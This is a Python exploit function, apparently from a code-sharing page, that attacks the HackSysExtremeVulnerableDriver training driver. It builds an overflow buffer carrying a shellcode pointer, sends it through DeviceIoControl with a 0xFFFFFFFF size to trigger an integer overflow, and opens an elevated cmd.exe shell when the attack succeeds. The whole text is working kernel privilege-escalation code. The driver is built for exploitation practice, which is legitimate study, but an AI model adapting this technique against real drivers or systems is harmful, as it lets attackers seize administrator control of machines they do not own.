HEVD_integeroverflow.py 文件源码

def trigger_integer_overflow():
    dwReturn      = c_ulong()
    driver_handle = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000,0, None, 0x3, 0, None)
    if not driver_handle or driver_handle == -1:
        print "[!] Driver handle not found : Error " + str(ctypes.GetLastError())
        sys.exit()

    # [-- BUFFER PADDING --][-- EXTRA PADDING --][-- SHELLCODE PTR --][-- STRING TERMINATOR --]
    print "[+] Constructing overflow string"
    evil_input = "A" * 0x800 + "BBBB" * 10 + struct.pack("<L",heap_alloc_payload()) + struct.pack("<L",0xBAD0B0B0)
    evil_size  = len(evil_input)
    evil_input_ptr = id(evil_input) + 20
    print "[+] Buf size: %d" % evil_size
    einput  = create_string_buffer(evil_input, evil_size)
    print "[+] Triggering vuln .."
    kernel32.DeviceIoControl(driver_handle, 0x222027, evil_input_ptr, 0xFFFFFFFF, None, 0,byref(dwReturn), None)

    if shell.IsUserAnAdmin():
        print "[*] Enjoy Elevated Privs !\r\n"
        os.system('cmd.exe')
    else:
        print "[-] Exploit did not work. Re-run it!"